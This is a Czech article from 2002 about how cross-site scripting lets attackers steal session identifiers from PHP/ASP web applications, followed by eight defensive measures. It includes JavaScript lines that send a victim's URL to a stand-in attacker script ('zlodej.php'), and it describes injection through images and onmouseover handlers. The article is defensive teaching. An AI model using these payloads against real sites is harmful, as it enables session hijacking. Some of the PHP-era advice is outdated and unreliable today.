Bezpečnost především – cross-site skripting a session-stealing

16. srpna 2002

Pokud připravujeme aplikaci, která vyžaduje v průběhu celé práce s ní jasnou identitu uživatele (chat, webový e-mail, práce s bankovním účtem), je bezpodmínečně nutné mít na paměti několik pravidel, která zabrání, aby někdo podvrhl cizí identitu. To je možné tak, že útočník zcizí identitu jinému uživateli. Pro ověřování identity uživatele se používají takzvané sessions. Proto útokům, které zcizují identitu v sessions říkáme „session-stealing“. Jak se jim ubráníte, se dozvíte v následujících řádcích.

Používané session mechanismy, ať už v PHP nebo ASP, nemají žádné pokročilé způsoby ochrany proti zcizení. Samozřejmě je nutné se vyvarovat již zmiňovaných chyb možného podvržení parametrů. To samotné ovšem bez uvědomění si určitých vlastností aplikace, kterou vyvíjíme, na ochranu nestačí. Session je vždy určena jednoznačným přiděleným identifikátorem, který si aplikace předává buď v každém odkazu (pomocí QUERY_STRINGu) nebo v cookies. Do jisté míry platí pravidla obrany před zcizením session i proti nabourání aplikace, která je chráněná pomocí HTTP autentizace, kde si jméno uživatele a heslo uloží prohlížeč a předává je v hlavičce při každém dalším požadavku na server.

Možnosti zcizení session a získání přístupu k aplikaci s identitou jiného uživatele spočívají v získání identifikátoru session a jeho následnému použití. Je ale vůbec možné nějak získat od cizího uživatele obsah jeho query_stringu nebo cookie, případně jméno a heslo z autentizace? Podívejme se na různé proměnné, funkce, nebo objekty, které s těmito proměnnými umějí manipulovat.

Proměnné PHP:

$HTTP_REFERER – obsahuje kompletní URL stránky, ze které je vyvolán požadavek na server

$QUERY_STRING – řetězec parametrů a hodnot předávaných v URL (metodou GET)

$PHP_AUTH_USER – jméno uživatele zadané v URL nebo do dialogu pro HTTP autentizaci

$PHP_AUTH_PW – heslo uživatele zadané v URL nebo do dialogu pro HTTP autentizaci

$PHPSESSID – obvyklý název proměnné obsahující identifikátor session

Pokud jsou využívány cookies, je možné použít proměnné, které odpovídají názvu cookie. Obdobné proměnné jsou dostupné i v ostatních server-side skriptovacích jazycích (ASP, Perl). Dále je dobré si uvědomit, že s podobnými údaji umějí nakládat i client-side jazyky (JavaScript, VBScript).

Přístup k proměnným přes objekty JavaScriptu:

document.referrer – URL dokumentu (stránky), ze které byl vyvolán požadavek

document.location – kompletní URL právě zobrazeného dokumentu

document.cookie – přístup ke cookies

self.opener.location – kompletní URL dokumentu, který otevřel právě zobrazené okno dokumentu

self.opener.history – historie mateřského okna

self.opener.document.referrer – referer mateřského okna

Možné vyzraditele tedy máme. Ve skutečnosti je jich určitě více, záleží výhradně na nápaditosti narušitele. Jak je ale přimět k tomu, aby zrádné dílo prováděli? Postup není jednoznačný, ne na každou aplikaci je možné aplikovat všechny techniky, záleží také na způsobu zabezpečení aplikace.

Jedním ze způsobů je přímé vložení odkazu, který vede k našemu skriptu. Toto je možné například v mailu, který si někdo čte přes webové rozhraní. Možné je to také v nezabezpečeném chatu. Pokud nějak oběť přimějeme, aby na odkaz klikla (což v chatu nemusí být až tak problém), pak už v našem skriptu můžeme rovnou číst referer oběti. Jediný problém je v tom, že daná session je platná do doby, než se uživatel odhlásí. Pokud se vše dobře načasuje, může se narušitel dostat k osobním nastavením uživatele, užít si spoustu zábavy (třeba ve zmíněném chatu), ale i napáchat spoustu škod.

Dalším způsobem je vložení obrázku. To se samozřejmě podaří jen tam, kde je možné interpretovat HTML kód. Mohou to být nejrůznější diskusní fóra, kde tak můžeme získat identitu jiného uživatele. Bez problémů to jde také v html příloze mailu. Může to být ale celá řada aplikací, která si nechá podvrhnout HTML kód zadaný do polí formulářů. Jako zdroj obrázku uvedeme opět cestu k našemu skriptu, ve kterém již přečteme referer.

Pokud se podaří k oběti infiltrovat JavaScript, je možné provést jednoduché přesměrování nebo otevření nového okna:

document.location = ‚http://nasserver.cz/zlodej.php?url=‘ + document.location;
window.open(‚http://nasserver.cz/zlodej.php?url=‘ + document.location‘,’okno‘);

Ne všude je možné interpretovat HTML kód, někde však lze používat omezenou sadu elementů pro formátování. Do řady elementů však lze uvést obsluhu událostí jako je onmouseover, onclick a jiné. Pokud oběť přimějeme, aby přejela myší přes nápis, který jsme zvětšili pomocí size v elementu font a zároveň uvedli onmouseover, JavaScript se aktivuje.

Cookies jsou určeny k tomu, aby si server ke klientovi uložil informace, které mu pak klient po dobu platnosti předává. Cookie je určeno vždy jen serveru, od kterého bylo přijato, a může být také omezeno přímo na určitý adresář. Protože cookie se nepošle skriptu na jinou doménu, nedá se zde použít technika odkazu, jako při zjišťování refereru. Ke cookies má však přístup javascript přes objekt document.cookie. Pokud se útočník dobře seznámí s naší aplikací, podaří se mu zjistit jméno cookie. Obsah se pak dá předat JavaScriptem na náš skript výše uvedeným přesměrováním, otevřením nového okna, nebo vygenerováním elementu obrázku (pomocí document.write), jehož zdrojem je opět náš skript. To samotné ovšem k ničemu není – nakonec je potřeba vašemu prohlížeči podvrhnout cookie s obsahem cizího identifikátoru, neboli cizí session. Řada prohlížečů si však cookies ukládá do textových souborů, takže není problém po tom, co se nám vytvořila cookie s naší identifikací, tuto zeditovat a přepsat zcizeným obsahem.

I když nelze infiltrovat HTML kód, řada aplikací konvertuje vloženou URL na odkaz. Aby se zabránilo přenesení refereru při kliknutí na takový odkaz, odkazuje se na skript, který se otevře v novém okně, a teprve pak provede přesměrování na zadanou adresu. Tím je referer zbaven identifikátoru session. Je-li záškodník zdatný, může se mu podařit ve skriptu, na který odkazuje, JavaSkriptem získat přístup k historii mateřského okna. Může se to podařit například skriptem, který otevře popup window a pak skočí v historii o dvě stránky zpět. Tam by měl být zpět v session a měl by tedy opět mít session id v document.location. Není to ale úplně jednoduché, protože v té stránce už samozřejmě není žádný náš Javascript, navíc javascript a VBscript má právě kvůli těmto rizikům ochranu. Pokud uvedeným způsobem „sdílíte“ informace mezi okny nebo framy, musí být ze stejné domény. Jinak dostanete hlášení, že přístup k dokumentu je odepřen. Zdatný programátor se ale může interoperacemi mezi okny dostat vpodstatě ke všemu, co potřebuje.

Celé zcizení session je ovšem zcela k ničemu, pokud naše aplikace obsahuje kontrolu IP adresy. Pokud zapojíme kontrolu IP adresy při práci s aplikací, řadě útoků lze zabránit.

Jsou známy i případy, kdy se podařilo u klienta JavaScriptem (chyba IE 5.5) změnit nastavení připojení prohlížeče přes proxy v průběhu práce s aplikací, čímž následně klient pracoval se skripty z úplně jiného serveru i přesto, že URL požadované prohlížečem se nezměnilo. Stejný problém by mohl nastat, kdyby někdo naboural server DNS a ten začal odkazovat na jiný server. Mohlo by také dojít ke změně konfigurace virtuálního serveru a samozřejmě také k jeho hacknutí a nahrazení původních skriptů „záškodnickými“. Takto by bylo možné nabourat i aplikaci chráněnou pomocí HTTP autentizace, kde je možné i přečíst jméno a heslo uživatele. Netscape dokonce podporuje javascriptové funkce pro zjištění a nastavení proxy serveru (uživatel ovšem musí v dialogu potvrdit oprávnění skriptu pracovat s těmito parametry). Toto jsou sice už velmi komplikované techniky, ovšem možné jsou a opravdu nelze předpokládat, jakého „robota“ na zcizování session kdo vymyslí – zde je řešením použít HTTPS.

Způsoby obrany

  1. Jak jsme viděli, k infiltraci vede vždy jen interpretace HTML, ať už tak, jak bylo zadáno, nebo nějakým vedlejším efektem (například v chatu zadáte adresu a ta se přetransformuje na odkaz, záludné jsou také HTML přílohy mailů). Této interpretaci je třeba se za každou cenu vyhnout. Je nutno zvolit určitý kompromis mezi komfortem uživatele a bezpečností, jde totiž o nejčastější typ útoku.
  2. Pokud chceme povolit vkládání odkazů, je bezpodmínečně nutné odkazovat nikoli na požadovanou adresu, ale na skript, který se otevře v novém okně (pomocí target=“_blank“) a teprve pak přesměruje na požadovanou adresu. Nové okno je tak prosto jakékoli historie předchozího okna i zrádného refereru. Jen pro úplnost dodávám, že ve funkcích pro přesměrování je nutné (viz normu RFC) uvádět vždy absolutní URL (v PHP ve funkci Header(), v ASP response.redirect()).
  3. Velmi nevhodné je používat heslo (a to i jeho zakódovanou podobu) jako součást identifikátoru session. V případě zcizení identifikátoru session tak útočník získá přímo heslo. V praxi toto připadá v úvahu tam, kde si navrhnete vlastní systém session, u klasických metod PHP nebo ASP je toto nemožné.
  4. Ukládání hesla do cookie může být stejně nebezpečné jako použití hesla v identifikátoru session, pokud nemůžeme vyloučit interpretaci HTML kódu nebo JavaScriptu.
  5. Důležité je také kontrolovat vypršení platnosti session – to nemusí být až tak složité, pokud máme identifikátory uložené v databázi. Současně s identifikátorem můžeme ukládat také třeba počítadlo (id), které automaticky zvyšujeme s každým zahájením nové session nějakým uživatelem. Kromě vypršení času tak můžeme také zkontrolovat, zda odpovídá k danému identifikátoru session její id (číslo počítadla). K tomu můžeme ukládat ještě třeba stav aplikace – například informaci o tom, že nákup v internetovém obchodě již byl ukončen. Nikdo tak nemůže do cizího košíku přidat věci navíc nebo se pokusit pracovat s objednávkou, která již dávno byla vyřízena.
  6. Pokud už došlo ke zcizení session a někdo se pokouší pracovat s falešnou identitou, zabráníme mu v tom již zmíněnou kontrolou IP adresy. Pokud se v průběhu práce s aplikací změní IP adresa klienta, prostě odepřeme k aplikaci přístup. To může způsobit určitý diskomfort uživatelům přistupujícím přes dial-up nebo těm, kterým se skutečně změnila IP adresa v průběhu práce. Je to ovšem daň za zabezpečení aplikace. Prakticky si při zahájení session do ní uložíme také IP adresu uživatele a tu stále testujeme při každém požadavku klienta. Problémem mohou být uživatelé připojení přes proxy nebo skrytí ve vnitřní síti (takzvaná maškaráda). I toto lze eliminovat na nejmenší možnou míru tak, že do proměnné, kterou si uložíme do session, ale i do té, s kterou ji následně porovnáváme, naskládáme vše, co lze o IP adrese klienta zjistit. Tak lze rozlišit i více uživatelů přistupujících k aplikaci přes jednu proxy.

    $IPadresa=$REMOTE_ADDR;
    $IPadresa.=“@“.$HTTP_X_FORWARDED_FOR;
    $IPadresa.=“@“.$HTTP_FORWARDED;
    $IPadresa.=“@“.$HTTP_CLIENT_IP;
    $IPadresa.=“@“.$X_HTTP_FORWARDED_FOR;

  7. Dobrou podporou je generovat autorizační klíč, který se mění při každém přechodu ze stránky na stránku, tedy v momentě zobrazení URL dokumentu je již neplatný
  8. Pro striktně bezpečnou aplikaci je třeba použít, kromě všech předchozích pravidel, i HTTPS, čímž se stane aplikace imunní i proti různému „cvičení“ se zmíněným nastavením proxy, ze změnou konfigurace webového serveru nebo změnou DNS a vůbec proti odposlechnutí komunikace – ne už však proti hacknutí serveru. (Je však otázka, k čemu by hackerovi byla naše session, když už se dostal přímo ke skriptům na serveru.)

V článku jsem popsal základní pravidla, kterých je nutné se držet, aby záškodníci neměli v našich aplikacích dveře dokořán. Určitě však nejsou všelékem na vynalézavé hackery, proto je vždy při návrhu naší aplikace dobrá lehká dávka paranoie. Nebuďme však na druhé straně maximalisti, kteří chodí s kanónem na vrabce. Použít https pro zábavní chat by takovým kanónem jistě bylo.

Starší komentáře ke článku

Pokud máte zájem o starší komentáře k tomuto článku, naleznete je zde.

Předchozí článek Odhlášení z HTTP autentizace
Další článek Help24.cz
Štítky: Články

Mohlo by vás také zajímat

Nejnovější

Napsat komentář

Vaše e-mailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *